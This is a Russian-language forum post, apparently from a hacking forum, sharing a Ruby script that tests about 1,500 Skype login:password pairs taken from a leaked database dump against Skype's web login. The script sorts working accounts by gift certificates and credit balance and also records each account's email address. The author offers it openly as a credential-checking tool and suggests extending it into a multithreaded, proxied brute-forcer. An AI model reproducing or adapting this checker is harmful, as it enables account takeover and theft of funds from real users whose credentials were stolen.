Привет всем!
Нет на нашем форуме раздела про Руби поэтому пишу в раздел где есть скриптовые языки.
intro
Как-то раз обломился мне очень большой дамп базы, где пользователи оставляли свой skype-name. После экстрагирования логинов и пассов набрался список ~ 1500 записей. Нужно было узнать, подходит ли пароль, и если да, то есть ли деньги на балансе. Чекать их вручную - труд долгий и нудный.
Я порылся в инете и ничего похожего для этой задачи не нашел, только на
forum.zloy.org было упоминание о начатой разработке, но результатов не было.
Собственно именно поэтому за час, на коленке был сооружен этот скрипт.
Описание
Скрипт подключается к вэб-интерфесу скайпа, и собирает данные об аккаунте.
Для запуска скрипта требуется установленный интерпретатор Ruby 1.8.* и прямые руки.
Сохраняем скрипт в файл rSkype.rb, в ту же папку складываем source.txt(файл где сложены аккаунты которые надо проверить в формате login:password, каждый с новой строки).
Запускаем его, например так:
#ruby rSkype.rb
на выходе получаем 3 файла:
valid_gift.txt - с гифт сертификатами
valid_balance.txt - есть деньги на балансе
valid - просто подходит пасс.
в коде много каментов)), если захотите на любой другой яп портировать.
PHP код:
#! /usr/bin/ruby
#==================================================
#
# rSkypeChecker by geezer.code
#
# Author: geezer.code
# Version: 0.0.1
# Date: 2008/05/21
#
#==================================================
require 'net/http'
require 'net/https'
#распечатка резалтов
def print_result(target, source)
fresult = File.new(target, "w")
default = $stdout
$stdout = fresult
source.each {|r|
puts r
}
$stdout = default
fresult.close
end
#настраиваем соединение и включаем SSL
http = Net::HTTP.new('secure.skype.com', 443)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
path = '/store/member/login.html'
valid=Array.new
valid_balance=Array.new
valid_gift=Array.new
fsource = File.open("source.txt")
begin
while (value = fsource.readline)
if value.any?
#value - это данные аккаунта
value= value.chomp
# тут получаем первоначальную куку
resp, data = http.get(path, nil)
# устанавливаем куку
cookie = resp.response['set-cookie']
# Данные для post-запроса
login, password=value.split(":")
data = "username=#{login}&password=#{password}"
headers = {
'Cookie' => cookie,
'Referer' => "https://secure.skype.com/store/myaccount",
'Content-Type' => 'application/x-www-form-urlencoded'
}
#сам post-запрос
resp, data = http.post(path, data, headers)
# 302 - редирект на страницу аккаунта
# может быть ищо 200 - не залогинило.
if resp.code == '302'
#заходим на страницу аккаунта
resp=http.get(resp['location'],headers)
#ищем строку про гифт-серты
gift_cert = resp.body.scan(%r{<a href="https://secure.skype.com/store/buy/giftcertificates.html">Skype Gift Certificates</a>}m)
#ищем строку с балансом
balance = resp.body.scan(%r{<strong id="skypeout-credit-balance">(.*?)</strong>}m)
#e-mail может когда-нить пригодится
email = resp.body.scan(%r{<font id="current-email">(.*?)</font>}m)
#сортируем гифт отдельно, пустые отдельно, балансы отдельно
if gift_cert.any?
valid_gift<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
#{balance.to_s.gsub(/<[^>]*>/,"") if balance} Gift"
else
if balance.any?
valid_balance<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}\
#{balance.to_s.gsub(/<[^>]*>/,"")}"
else
valid<<"#{value} : #{(email.to_s.gsub(/<[^>]*>/,"") if email.any?)}"
end
end
end
end
end
rescue EOFError
fsource.close
end
#выводим то што начекали в файл
print_result("valid.txt",valid)
print_result("valid_balance.txt",valid_balance)
print_result("valid_gift.txt",valid_gift)
метки: Чекер Скайп аккаунтов, Skype Checker, ruby, руби.
Ссылки по теме:
http://www.ruby-lang.org/en/ -тут можно скачать интерпретатор Руби
http://skype.com - если кто не слышал про скайп )).
P.S. в принимаются замечания и пожелания.
идею можно развить, и модифицировать его под брутер(потоки,прокси итд).
Если это актуально, начну работать над брутером.
P.P.S скрипт цже можно использовать как брутер - достаточно нагенерить список логин - пароль, но всьо же он не оптимизирован.если на пытаться брутить 1 логин - бан. (как и сказал VP$)